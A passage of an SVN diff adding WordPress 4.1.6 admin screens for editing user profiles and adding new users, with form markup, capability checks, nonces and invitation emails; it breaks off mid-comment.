+echo esc_html( $title );
+if ( ! IS_PROFILE_PAGE ) {
+	if ( current_user_can( 'create_users' ) ) { ?>
+		<a href="user-new.php" class="add-new-h2"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
+	<?php } elseif ( is_multisite() && current_user_can( 'promote_users' ) ) { ?>
+		<a href="user-new.php" class="add-new-h2"><?php echo esc_html_x( 'Add Existing', 'user' ); ?></a>
+	<?php }
+} ?>
+</h2>
+<form id="your-profile" action="<?php echo esc_url( self_admin_url( IS_PROFILE_PAGE ? 'profile.php' : 'user-edit.php' ) ); ?>" method="post" novalidate="novalidate"<?php
+	/**
+	 * Fires inside the your-profile form tag on the user editing screen.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'user_edit_form_tag' );
+?>>
+<?php wp_nonce_field('update-user_' . $user_id) ?>
+<?php if ( $wp_http_referer ) : ?>
+	<input type="hidden" name="wp_http_referer" value="<?php echo esc_url($wp_http_referer); ?>" />
+<?php endif; ?>
+<p>
+<input type="hidden" name="from" value="profile" />
+<input type="hidden" name="checkuser_id" value="<?php echo get_current_user_id(); ?>" />
+</p>
+
+<h3><?php _e('Personal Options'); ?></h3>
+
+<table class="form-table">
+<?php if ( ! ( IS_PROFILE_PAGE && ! $user_can_edit ) ) : ?>
+	<tr class="user-rich-editing-wrap">
+		<th scope="row"><label for="rich_editing"><?php _e( 'Visual Editor' )?></label></th>
+		<td><label for="rich_editing"><input name="rich_editing" type="checkbox" id="rich_editing" value="false" <?php if ( ! empty( $profileuser->rich_editing ) ) checked( 'false', $profileuser->rich_editing ); ?> /> <?php _e( 'Disable the visual editor when writing' ); ?></label></td>
+	</tr>
+<?php endif; ?>
+<?php if ( count($_wp_admin_css_colors) > 1 && has_action('admin_color_scheme_picker') ) : ?>
+<tr class="user-admin-color-wrap">
+<th scope="row"><?php _e('Admin Color Scheme')?></th>
+<td><?php
+	/**
+	 * Fires in the 'Admin Color Scheme' section of the user editing screen.
+	 *
+	 * The section is only enabled if a callback is hooked to the action,
+	 * and if there is more than one defined color scheme for the admin.
+	 *
+	 * @since 3.0.0
+	 * @since 3.8.1 Added `$user_id` parameter.
+	 *
+	 * @param int $user_id The user ID.
+	 */
+	do_action( 'admin_color_scheme_picker', $user_id );
+?></td>
+</tr>
+<?php
+endif; // $_wp_admin_css_colors
+if ( !( IS_PROFILE_PAGE && !$user_can_edit ) ) : ?>
+<tr class="user-comment-shortcuts-wrap">
+<th scope="row"><label for="comment_shortcuts"><?php _e( 'Keyboard Shortcuts' ); ?></label></th>
+<td><label for="comment_shortcuts"><input type="checkbox" name="comment_shortcuts" id="comment_shortcuts" value="true" <?php if ( ! empty( $profileuser->comment_shortcuts ) ) checked( 'true', $profileuser->comment_shortcuts ); ?> /> <?php _e('Enable keyboard shortcuts for comment moderation.'); ?></label> <?php _e('<a href="http://codex.wordpress.org/Keyboard_Shortcuts" target="_blank">More information</a>'); ?></td>
+</tr>
+<?php endif; ?>
+<tr class="show-admin-bar user-admin-bar-front-wrap">
+<th scope="row"><label for="admin_bar_front"><?php _e( 'Toolbar' )?></label></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Toolbar') ?></span></legend>
+<label for="admin_bar_front">
+<input name="admin_bar_front" type="checkbox" id="admin_bar_front" value="1"<?php checked( _get_admin_bar_pref( 'front', $profileuser->ID ) ); ?> />
+<?php _e( 'Show Toolbar when viewing site' ); ?></label><br />
+</fieldset>
+</td>
+</tr>
+<?php
+/**
+ * Fires at the end of the 'Personal Options' settings table on the user editing screen.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_User $profileuser The current WP_User object.
+ */
+do_action( 'personal_options', $profileuser );
+?>
+
+</table>
+<?php
+	if ( IS_PROFILE_PAGE ) {
+		/**
+		 * Fires after the 'Personal Options' settings table on the 'Your Profile' editing screen.
+		 *
+		 * The action only fires if the current user is editing their own profile.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_User $profileuser The current WP_User object.
+		 */
+		do_action( 'profile_personal_options', $profileuser );
+	}
+?>
+
+<h3><?php _e('Name') ?></h3>
+
+<table class="form-table">
+	<tr class="user-user-login-wrap">
+		<th><label for="user_login"><?php _e('Username'); ?></label></th>
+		<td><input type="text" name="user_login" id="user_login" value="<?php echo esc_attr($profileuser->user_login); ?>" disabled="disabled" class="regular-text" /> <span class="description"><?php _e('Usernames cannot be changed.'); ?></span></td>
+	</tr>
+
+<?php if ( !IS_PROFILE_PAGE && !is_network_admin() ) : ?>
+<tr class="user-role-wrap"><th><label for="role"><?php _e('Role') ?></label></th>
+<td><select name="role" id="role">
+<?php
+// Compare user role against currently editable roles
+$user_roles = array_intersect( array_values( $profileuser->roles ), array_keys( get_editable_roles() ) );
+$user_role  = array_shift( $user_roles );
+
+// print the full list of roles with the primary one selected.
+wp_dropdown_roles($user_role);
+
+// print the 'no role' option. Make it selected if the user has no role yet.
+if ( $user_role )
+	echo '<option value="">' . __('&mdash; No role for this site &mdash;') . '</option>';
+else
+	echo '<option value="" selected="selected">' . __('&mdash; No role for this site &mdash;') . '</option>';
+?>
+</select></td></tr>
+<?php endif; //!IS_PROFILE_PAGE
+
+if ( is_multisite() && is_network_admin() && ! IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && !isset($super_admins) ) { ?>
+<tr class="user-super-admin-wrap"><th><?php _e('Super Admin'); ?></th>
+<td>
+<?php if ( $profileuser->user_email != get_site_option( 'admin_email' ) || ! is_super_admin( $profileuser->ID ) ) : ?>
+<p><label><input type="checkbox" id="super_admin" name="super_admin"<?php checked( is_super_admin( $profileuser->ID ) ); ?> /> <?php _e( 'Grant this user super admin privileges for the Network.' ); ?></label></p>
+<?php else : ?>
+<p><?php _e( 'Super admin privileges cannot be removed because this user has the network admin email.' ); ?></p>
+<?php endif; ?>
+</td></tr>
+<?php } ?>
+
+<tr class="user-first-name-wrap">
+	<th><label for="first_name"><?php _e('First Name') ?></label></th>
+	<td><input type="text" name="first_name" id="first_name" value="<?php echo esc_attr($profileuser->first_name) ?>" class="regular-text" /></td>
+</tr>
+
+<tr class="user-last-name-wrap">
+	<th><label for="last_name"><?php _e('Last Name') ?></label></th>
+	<td><input type="text" name="last_name" id="last_name" value="<?php echo esc_attr($profileuser->last_name) ?>" class="regular-text" /></td>
+</tr>
+
+<tr class="user-nickname-wrap">
+	<th><label for="nickname"><?php _e('Nickname'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+	<td><input type="text" name="nickname" id="nickname" value="<?php echo esc_attr($profileuser->nickname) ?>" class="regular-text" /></td>
+</tr>
+
+<tr class="user-display-name-wrap">
+	<th><label for="display_name"><?php _e('Display name publicly as') ?></label></th>
+	<td>
+		<select name="display_name" id="display_name">
+		<?php
+			$public_display = array();
+			$public_display['display_nickname']  = $profileuser->nickname;
+			$public_display['display_username']  = $profileuser->user_login;
+
+			if ( !empty($profileuser->first_name) )
+				$public_display['display_firstname'] = $profileuser->first_name;
+
+			if ( !empty($profileuser->last_name) )
+				$public_display['display_lastname'] = $profileuser->last_name;
+
+			if ( !empty($profileuser->first_name) && !empty($profileuser->last_name) ) {
+				$public_display['display_firstlast'] = $profileuser->first_name . ' ' . $profileuser->last_name;
+				$public_display['display_lastfirst'] = $profileuser->last_name . ' ' . $profileuser->first_name;
+			}
+
+			if ( !in_array( $profileuser->display_name, $public_display ) ) // Only add this if it isn't duplicated elsewhere
+				$public_display = array( 'display_displayname' => $profileuser->display_name ) + $public_display;
+
+			$public_display = array_map( 'trim', $public_display );
+			$public_display = array_unique( $public_display );
+
+			foreach ( $public_display as $id => $item ) {
+		?>
+			<option <?php selected( $profileuser->display_name, $item ); ?>><?php echo $item; ?></option>
+		<?php
+			}
+		?>
+		</select>
+	</td>
+</tr>
+</table>
+
+<h3><?php _e('Contact Info') ?></h3>
+
+<table class="form-table">
+<tr class="user-email-wrap">
+	<th><label for="email"><?php _e('E-mail'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+	<td><input type="email" name="email" id="email" value="<?php echo esc_attr( $profileuser->user_email ) ?>" class="regular-text ltr" />
+	<?php
+	$new_email = get_option( $current_user->ID . '_new_email' );
+	if ( $new_email && $new_email['newemail'] != $current_user->user_email && $profileuser->ID == $current_user->ID ) : ?>
+	<div class="updated inline">
+	<p><?php printf( __('There is a pending change of your e-mail to <code>%1$s</code>. <a href="%2$s">Cancel</a>'), $new_email['newemail'], esc_url( self_admin_url( 'profile.php?dismiss=' . $current_user->ID . '_new_email' ) ) ); ?></p>
+	</div>
+	<?php endif; ?>
+	</td>
+</tr>
+
+<tr class="user-url-wrap">
+	<th><label for="url"><?php _e('Website') ?></label></th>
+	<td><input type="url" name="url" id="url" value="<?php echo esc_attr( $profileuser->user_url ) ?>" class="regular-text code" /></td>
+</tr>
+
+<?php
+	foreach ( wp_get_user_contact_methods( $profileuser ) as $name => $desc ) {
+?>
+<tr class="user-<?php echo $name; ?>-wrap">
+	<th><label for="<?php echo $name; ?>">
+		<?php
+		/**
+		 * Filter a user contactmethod label.
+		 *
+		 * The dynamic portion of the filter hook, `$name`, refers to
+		 * each of the keys in the contactmethods array.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $desc The translatable label for the contactmethod.
+		 */
+		echo apply_filters( "user_{$name}_label", $desc );
+		?>
+	</label></th>
+	<td><input type="text" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="<?php echo esc_attr($profileuser->$name) ?>" class="regular-text" /></td>
+</tr>
+<?php
+	}
+?>
+</table>
+
+<h3><?php IS_PROFILE_PAGE ? _e('About Yourself') : _e('About the user'); ?></h3>
+
+<table class="form-table">
+<tr class="user-description-wrap">
+	<th><label for="description"><?php _e('Biographical Info'); ?></label></th>
+	<td><textarea name="description" id="description" rows="5" cols="30"><?php echo $profileuser->description; // textarea_escaped ?></textarea>
+	<p class="description"><?php _e('Share a little biographical information to fill out your profile. This may be shown publicly.'); ?></p></td>
+</tr>
+
+<?php
+/** This filter is documented in wp-admin/user-new.php */
+$show_password_fields = apply_filters( 'show_password_fields', true, $profileuser );
+if ( $show_password_fields ) :
+?>
+<tr id="password" class="user-pass1-wrap">
+	<th><label for="pass1"><?php _e( 'New Password' ); ?></label></th>
+	<td>
+		<input class="hidden" value=" " /><!-- #24364 workaround -->
+		<input type="password" name="pass1" id="pass1" class="regular-text" size="16" value="" autocomplete="off" />
+		<p class="description"><?php _e( 'If you would like to change the password type a new one. Otherwise leave this blank.' ); ?></p>
+	</td>
+</tr>
+<tr class="user-pass2-wrap">
+	<th scope="row"><label for="pass2"><?php _e( 'Repeat New Password' ); ?></label></th>
+	<td>
+	<input name="pass2" type="password" id="pass2" class="regular-text" size="16" value="" autocomplete="off" />
+	<p class="description"><?php _e( 'Type your new password again.' ); ?></p>
+	<br />
+	<div id="pass-strength-result"><?php _e( 'Strength indicator' ); ?></div>
+	<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
+	</td>
+</tr>
+<?php endif; ?>
+
+<?php
+if ( IS_PROFILE_PAGE && count( $sessions->get_all() ) === 1 ) : ?>
+	<tr class="user-sessions-wrap hide-if-no-js">
+		<th>&nbsp;</th>
+		<td aria-live="assertive">
+			<div class="destroy-sessions"><button type="button" disabled class="button button-secondary"><?php _e( 'Log Out of All Other Sessions' ); ?></button></div>
+			<p class="description">
+				<?php _e( 'You are only logged in at this location.' ); ?>
+			</p>
+		</td>
+	</tr>
+<?php elseif ( IS_PROFILE_PAGE && count( $sessions->get_all() ) > 1 ) : ?>
+	<tr class="user-sessions-wrap hide-if-no-js">
+		<th>&nbsp;</th>
+		<td aria-live="assertive">
+			<div class="destroy-sessions"><button type="button" class="button button-secondary" id="destroy-sessions"><?php _e( 'Log Out of All Other Sessions' ); ?></button></div>
+			<p class="description">
+				<?php _e( 'Left your account logged in at a public computer? Lost your phone? This will log you out everywhere except your current browser.' ); ?>
+			</p>
+		</td>
+	</tr>
+<?php elseif ( ! IS_PROFILE_PAGE && $sessions->get_all() ) : ?>
+	<tr class="user-sessions-wrap hide-if-no-js">
+		<th>&nbsp;</th>
+		<td>
+			<p><button type="button" class="button button-secondary" id="destroy-sessions"><?php _e( 'Log Out of All Sessions' ); ?></button></p>
+			<p class="description">
+				<?php
+				/* translators: 1: User's display name. */
+				printf( __( 'Log %s out of all sessions' ), $profileuser->display_name );
+				?>
+			</p>
+		</td>
+	</tr>
+<?php endif; ?>
+
+</table>
+
+<?php
+	if ( IS_PROFILE_PAGE ) {
+		/**
+		 * Fires after the 'About Yourself' settings table on the 'Your Profile' editing screen.
+		 *
+		 * The action only fires if the current user is editing their own profile.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_User $profileuser The current WP_User object.
+		 */
+		do_action( 'show_user_profile', $profileuser );
+	} else {
+		/**
+		 * Fires after the 'About the User' settings table on the 'Edit User' screen.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_User $profileuser The current WP_User object.
+		 */
+		do_action( 'edit_user_profile', $profileuser );
+	}
+?>
+
+<?php
+/**
+ * Filter whether to display additional capabilities for the user.
+ *
+ * The 'Additional Capabilities' section will only be enabled if
+ * the number of the user's capabilities exceeds their number of
+ * of roles.
+ *
+ * @since 2.8.0
+ *
+ * @param bool    $enable      Whether to display the capabilities. Default true.
+ * @param WP_User $profileuser The current WP_User object.
+ */
+if ( count( $profileuser->caps ) > count( $profileuser->roles )
+	&& apply_filters( 'additional_capabilities_display', true, $profileuser )
+) : ?>
+<h3><?php _e( 'Additional Capabilities' ); ?></h3>
+<table class="form-table">
+<tr class="user-capabilities-wrap">
+	<th scope="row"><?php _e( 'Capabilities' ); ?></th>
+	<td>
+<?php
+	$output = '';
+	foreach ( $profileuser->caps as $cap => $value ) {
+		if ( ! $wp_roles->is_role( $cap ) ) {
+			if ( '' != $output )
+				$output .= ', ';
+			$output .= $value ? $cap : sprintf( __( 'Denied: %s' ), $cap );
+		}
+	}
+	echo $output;
+?>
+	</td>
+</tr>
+</table>
+<?php endif; ?>
+
+<input type="hidden" name="action" value="update" />
+<input type="hidden" name="user_id" id="user_id" value="<?php echo esc_attr($user_id); ?>" />
+
+<?php submit_button( IS_PROFILE_PAGE ? __('Update Profile') : __('Update User') ); ?>
+
+</form>
+</div>
+<?php
+break;
+}
+?>
+<script type="text/javascript">
+	if (window.location.hash == '#password') {
+		document.getElementById('pass1').focus();
+	}
+</script>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/4.1.6/src/wp-admin/user-new.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user-new.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user-new.php	(revision 33402)
@@ -0,0 +1,440 @@
+<?php
+/**
+ * New User Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( is_multisite() ) {
+	if ( ! current_user_can( 'create_users' ) && ! current_user_can( 'promote_users' ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+} elseif ( ! current_user_can( 'create_users' ) ) {
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+}
+
+if ( is_multisite() ) {
+	function admin_created_user_email( $text ) {
+		$roles = get_editable_roles();
+		$role = $roles[ $_REQUEST['role'] ];
+		/* translators: 1: Site name, 2: site URL, 3: role */
+		return sprintf( __( 'Hi,
+You\'ve been invited to join \'%1$s\' at
+%2$s with the role of %3$s.
+If you do not want to join this site please ignore
+this email. This invitation will expire in a few days.
+
+Please click the following link to activate your user account:
+%%s' ), get_bloginfo( 'name' ), home_url(), wp_specialchars_decode( translate_user_role( $role['name'] ) ) );
+	}
+	add_filter( 'wpmu_signup_user_notification_email', 'admin_created_user_email' );
+}
+
+if ( isset($_REQUEST['action']) && 'adduser' == $_REQUEST['action'] ) {
+	check_admin_referer( 'add-user', '_wpnonce_add-user' );
+
+	$user_details = null;
+	$user_email = wp_unslash( $_REQUEST['email'] );
+	if ( false !== strpos( $user_email, '@' ) ) {
+		$user_details = get_user_by( 'email', $user_email );
+	} else {
+		if ( is_super_admin() ) {
+			$user_details = get_user_by( 'login', $user_email );
+		} else {
+			wp_redirect( add_query_arg( array('update' => 'enter_email'), 'user-new.php' ) );
+			die();
+		}
+	}
+
+	if ( !$user_details ) {
+		wp_redirect( add_query_arg( array('update' => 'does_not_exist'), 'user-new.php' ) );
+		die();
+	}
+
+	if ( ! current_user_can('promote_user', $user_details->ID) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	// Adding an existing user to this blog
+	$new_user_email = $user_details->user_email;
+	$redirect = 'user-new.php';
+	$username = $user_details->user_login;
+	$user_id = $user_details->ID;
+	if ( ( $username != null && !is_super_admin( $user_id ) ) && ( array_key_exists($blog_id, get_blogs_of_user($user_id)) ) ) {
+		$redirect = add_query_arg( array('update' => 'addexisting'), 'user-new.php' );
+	} else {
+		if ( isset( $_POST[ 'noconfirmation' ] ) && is_super_admin() ) {
+			add_existing_user_to_blog( array( 'user_id' => $user_id, 'role' => $_REQUEST[ 'role' ] ) );
+			$redirect = add_query_arg( array('update' => 'addnoconfirmation'), 'user-new.php' );
+		} else {
+			$newuser_key = substr( md5( $user_id ), 0, 5 );
+			add_option( 'new_user_' . $newuser_key, array( 'user_id' => $user_id, 'email' => $user_details->user_email, 'role' => $_REQUEST[ 'role' ] ) );
+
+			$roles = get_editable_roles();
+			$role = $roles[ $_REQUEST['role'] ];
+			/* translators: 1: Site name, 2: site URL, 3: role, 4: activation URL */
+			$message = __( 'Hi,
+
+You\'ve been invited to join \'%1$s\' at
+%2$s with the role of %3$s.
+
+Please click the following link to confirm the invite:
+%4$s' );
+			wp_mail( $new_user_email, sprintf( __( '[%s] Joining confirmation' ), wp_specialchars_decode( get_option( 'blogname' ) ) ), sprintf( $message, get_option( 'blogname' ), home_url(), wp_specialchars_decode( translate_user_role( $role['name'] ) ), home_url( "/newbloguser/$newuser_key/" ) ) );
+			$redirect = add_query_arg( array('update' => 'add'), 'user-new.php' );
+		}
+	}
+	wp_redirect( $redirect );
+	die();
+} elseif ( isset($_REQUEST['action']) && 'createuser' == $_REQUEST['action'] ) {
+	check_admin_referer( 'create-user', '_wpnonce_create-user' );
+
+	if ( ! current_user_can('create_users') )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	if ( ! is_multisite() ) {
+		$user_id = edit_user();
+
+		if ( is_wp_error( $user_id ) ) {
+			$add_user_errors = $user_id;
+		} else {
+			if ( current_user_can( 'list_users' ) )
+				$redirect = 'users.php?update=add&id=' . $user_id;
+			else
+				$redirect = add_query_arg( 'update', 'add', 'user-new.php' );
+			wp_redirect( $redirect );
+			die();
+		}
+	} else {
+		// Adding a new user to this site
+		$new_user_email = wp_unslash( $_REQUEST['email'] );
+		$user_details = wpmu_validate_user_signup( $_REQUEST['user_login'], $new_user_email );
+		if ( is_wp_error( $user_details[ 'errors' ] ) && !empty( $user_details[ 'errors' ]->errors ) ) {
+			$add_user_errors = $user_details[ 'errors' ];
+		} else {
+			/**
+			 * Filter the user_login, also known as the username, before it is added to the site.
+			 *
+			 * @since 2.0.3
+			 *
+			 * @param string $user_login The sanitized username.
+			 */
+			$new_user_login = apply_filters( 'pre_user_login', sanitize_user( wp_unslash( $_REQUEST['user_login'] ), true ) );
+			if ( isset( $_POST[ 'noconfirmation' ] ) && is_super_admin() ) {
+				add_filter( 'wpmu_signup_user_notification', '__return_false' ); // Disable confirmation email
+				add_filter( 'wpmu_welcome_user_notification', '__return_false' ); // Disable welcome email
+			}
+			wpmu_signup_user( $new_user_login, $new_user_email, array( 'add_to_blog' => $wpdb->blogid, 'new_role' => $_REQUEST['role'] ) );
+			if ( isset( $_POST[ 'noconfirmation' ] ) && is_super_admin() ) {
+				$key = $wpdb->get_var( $wpdb->prepare( "SELECT activation_key FROM {$wpdb->signups} WHERE user_login = %s AND user_email = %s", $new_user_login, $new_user_email ) );
+				wpmu_activate_signup( $key );
+				$redirect = add_query_arg( array('update' => 'addnoconfirmation'), 'user-new.php' );
+			} else {
+				$redirect = add_query_arg( array('update' => 'newuserconfirmation'), 'user-new.php' );
+			}
+			wp_redirect( $redirect );
+			die();
+		}
+	}
+}
+
+$title = __('Add New User');
+$parent_file = 'users.php';
+
+$do_both = false;
+if ( is_multisite() && current_user_can('promote_users') && current_user_can('create_users') )
+	$do_both = true;
+
+$help = '<p>' . __('To add a new user to your site, fill in the form on this screen and click the Add New User button at the bottom.') . '</p>';
+
+if ( is_multisite() ) {
+	$help .= '<p>' . __('Because this is a multisite installation, you may add accounts that already exist on the Network by specifying a username or email, and defining a role. For more options, such as specifying a password, you have to be a Network Administrator and use the hover link under an existing user&#8217;s name to Edit the user profile under Network Admin > All Users.') . '</p>' .
+	'<p>' . __('New users will receive an email letting them know they&#8217;ve been added as a user for your site. This email will also contain their password. Check the box if you don&#8217;t want the user to receive a welcome email.') . '</p>';
+} else {
+	$help .= '<p>' . __('You must assign a password to the new user, which they can change after logging in. The username, however, cannot be changed.') . '</p>' .
+	'<p>' . __('New users will receive an email letting them know they&#8217;ve been added as a user for your site. By default, this email will also contain their password. Uncheck the box if you don&#8217;t want the password to be included in the welcome email.') . '</p>';
+}
+
+$help .= '<p>' . __('Remember to click the Add New User button at the bottom of this screen when you are finished.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $help,
+) );
+
+get_current_screen()->add_help_tab( array(
+'id'      => 'user-roles',
+'title'   => __('User Roles'),
+'content' => '<p>' . __('Here is a basic overview of the different user roles and the permissions associated with each one:') . '</p>' .
+				'<ul>' .
+				'<li>' . __('Subscribers can read comments/comment/receive newsletters, etc. but cannot create regular site content.') . '</li>' .
+				'<li>' . __('Contributors can write and manage their posts but not publish posts or upload media files.') . '</li>' .
+				'<li>' . __('Authors can publish and manage their own posts, and are able to upload files.') . '</li>' .
+				'<li>' . __('Editors can publish posts, manage posts as well as manage other people&#8217;s posts, etc.') . '</li>' .
+				'<li>' . __('Administrators have access to all the administration features.') . '</li>' .
+				'</ul>'
+) );
+
+get_current_screen()->set_help_sidebar(
+    '<p><strong>' . __('For more information:') . '</strong></p>' .
+    '<p>' . __('<a href="http://codex.wordpress.org/Users_Add_New_Screen" target="_blank">Documentation on Adding New Users</a>') . '</p>' .
+    '<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+wp_enqueue_script('wp-ajax-response');
+wp_enqueue_script('user-profile');
+
+/**
+ * Filter whether to enable user auto-complete for non-super admins in Multisite.
+ *
+ * @since 3.4.0
+ *
+ * @param bool $enable Whether to enable auto-complete for non-super admins. Default false.
+ */
+if ( is_multisite() && current_user_can( 'promote_users' ) && ! wp_is_large_network( 'users' )
+	&& ( is_super_admin() || apply_filters( 'autocomplete_users_for_site_admins', false ) )
+) {
+	wp_enqueue_script( 'user-suggest' );
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( is_multisite() ) {
+		switch ( $_GET['update'] ) {
+			case "newuserconfirmation":
+				$messages[] = __('Invitation email sent to new user. A confirmation link must be clicked before their account is created.');
+				break;
+			case "add":
+				$messages[] = __('Invitation email sent to user. A confirmation link must be clicked for them to be added to your site.');
+				break;
+			case "addnoconfirmation":
+				$messages[] = __('User has been added to your site.');
+				break;
+			case "addexisting":
+				$messages[] = __('That user is already a member of this site.');
+				break;
+			case "does_not_exist":
+				$messages[] = __('The requested user does not exist.');
+				break;
+			case "enter_email":
+				$messages[] = __('Please enter a valid email address.');
+				break;
+		}
+	} else {
+		if ( 'add' == $_GET['update'] )
+			$messages[] = __('User added.');
+	}
+}
+?>
+<div class="wrap">
+<h2 id="add-new-user"> <?php
+if ( current_user_can( 'create_users' ) ) {
+	echo _x( 'Add New User', 'user' );
+} elseif ( current_user_can( 'promote_users' ) ) {
+	echo _x( 'Add Existing User', 'user' );
+} ?>
+</h2>
+
+<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
+	<div class="error">
+		<ul>
+		<?php
+			foreach ( $errors->get_error_messages() as $err )
+				echo "<li>$err</li>\n";
+		?>
+		</ul>
+	</div>
+<?php endif;
+
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated"><p>' . $msg . '</p></div>';
+} ?>
+
+<?php if ( isset($add_user_errors) && is_wp_error( $add_user_errors ) ) : ?>
+	<div class="error">
+		<?php
+			foreach ( $add_user_errors->get_error_messages() as $message )
+				echo "<p>$message</p>";
+		?>
+	</div>
+<?php endif; ?>
+<div id="ajax-response"></div>
+
+<?php
+if ( is_multisite() ) {
+	if ( $do_both )
+		echo '<h3 id="add-existing-user">' . __('Add Existing User') . '</h3>';
+	if ( !is_super_admin() ) {
+		echo '<p>' . __( 'Enter the email address of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite.' ) . '</p>';
+		$label = __('E-mail');
+		$type  = 'email';
+	} else {
+		echo '<p>' . __( 'Enter the email address or username of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite.' ) . '</p>';
+		$label = __('E-mail or Username');
+		$type  = 'text';
+	}
+?>
+<form action="" method="post" name="adduser" id="adduser" class="validate" novalidate="novalidate"<?php
+	/**
+	 * Fires inside the adduser form tag.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'user_new_form_tag' );
+?>>
+<input name="action" type="hidden" value="adduser" />
+<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ) ?>
+
+<table class="form-table">
+	<tr class="form-field form-required">
+		<th scope="row"><label for="adduser-email"><?php echo $label; ?></label></th>
+		<td><input name="email" type="<?php echo $type; ?>" id="adduser-email" class="wp-suggest-user" value="" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="adduser-role"><?php _e('Role'); ?></label></th>
+		<td><select name="role" id="adduser-role">
+			<?php wp_dropdown_roles( get_option('default_role') ); ?>
+			</select>
+		</td>
+	</tr>
+<?php if ( is_super_admin() ) { ?>
+	<tr>
+		<th scope="row"><label for="adduser-noconfirmation"><?php _e('Skip Confirmation Email') ?></label></th>
+		<td><label for="adduser-noconfirmation"><input type="checkbox" name="noconfirmation" id="adduser-noconfirmation" value="1" /> <?php _e( 'Add the user without sending an email that requires their confirmation.' ); ?></label></td>
+	</tr>
+<?php } ?>
+</table>
+<?php
+/**
+ * Fires at the end of the new user form.
+ *
+ * Passes a contextual string to make both types of new user forms
+ * uniquely targetable. Contexts are 'add-existing-user' (Multisite),
+ * and 'add-new-user' (single site and network admin).
+ *
+ * @since 3.7.0
+ *
+ * @param string $type A contextual string specifying which type of new user form the hook follows.
+ */
+do_action( 'user_new_form', 'add-existing-user' );
+?>
+<?php submit_button( __( 'Add Existing User '), 'primary', 'adduser', true, array( 'id' => 'addusersub' ) ); ?>
+</form>
+<?php
+} // is_multisite()
+
+if ( current_user_can( 'create_users') ) {
+	if ( $do_both )
+		echo '<h3 id="create-new-user">' . __( 'Add New User' ) . '</h3>';
+?>
+<p><?php _e('Create a brand new user and add them to this site.'); ?></p>
+<form action="" method="post" name="createuser" id="createuser" class="validate" novalidate="novalidate"<?php
+	/** This action is documented in wp-admin/user-new.php */
+	do_action( 'user_new_form_tag' );
+?>>
+<input name="action" type="hidden" value="createuser" />
+<?php wp_nonce_field( 'create-user', '_wpnonce_create-user' ); ?>
+<?php
+// Load up the passed data, else set to a default.
+$creating = isset( $_POST['createuser'] );
+
+$new_user_login = $creating && isset( $_POST['user_login'] ) ? wp_unslash( $_POST['user_login'] ) : '';
+$new_user_firstname = $creating && isset( $_POST['first_name'] ) ? wp_unslash( $_POST['first_name'] ) : '';
+$new_user_lastname = $creating && isset( $_POST['last_name'] ) ? wp_unslash( $_POST['last_name'] ) : '';
+$new_user_email = $creating && isset( $_POST['email'] ) ? wp_unslash( $_POST['email'] ) : '';
+$new_user_uri = $creating && isset( $_POST['url'] ) ? wp_unslash( $_POST['url'] ) : '';
+$new_user_role = $creating && isset( $_POST['role'] ) ? wp_unslash( $_POST['role'] ) : '';
+$new_user_send_password = $creating && isset( $_POST['send_password'] ) ? wp_unslash( $_POST['send_password'] ) : '';
+$new_user_ignore_pass = $creating && isset( $_POST['noconfirmation'] ) ? wp_unslash( $_POST['noconfirmation'] ) : '';
+
+?>
+<table class="form-table">
+	<tr class="form-field form-required">
+		<th scope="row"><label for="user_login"><?php _e('Username'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+		<td><input name="user_login" type="text" id="user_login" value="<?php echo esc_attr($new_user_login); ?>" aria-required="true" /></td>
+	</tr>
+	<tr class="form-field form-required">
+		<th scope="row"><label for="email"><?php _e('E-mail'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+		<td><input name="email" type="email" id="email" value="<?php echo esc_attr( $new_user_email ); ?>" /></td>
+	</tr>
+<?php if ( !is_multisite() ) { ?>
+	<tr class="form-field">
+		<th scope="row"><label for="first_name"><?php _e('First Name') ?> </label></th>
+		<td><input name="first_name" type="text" id="first_name" value="<?php echo esc_attr($new_user_firstname); ?>" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="last_name"><?php _e('Last Name') ?> </label></th>
+		<td><input name="last_name" type="text" id="last_name" value="<?php echo esc_attr($new_user_lastname); ?>" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="url"><?php _e('Website') ?></label></th>
+		<td><input name="url" type="url" id="url" class="code" value="<?php echo esc_attr( $new_user_uri ); ?>" /></td>
+	</tr>
+<?php
+/**
+ * Filter the display of the password fields.
+ *
+ * @since 1.5.1
+ *
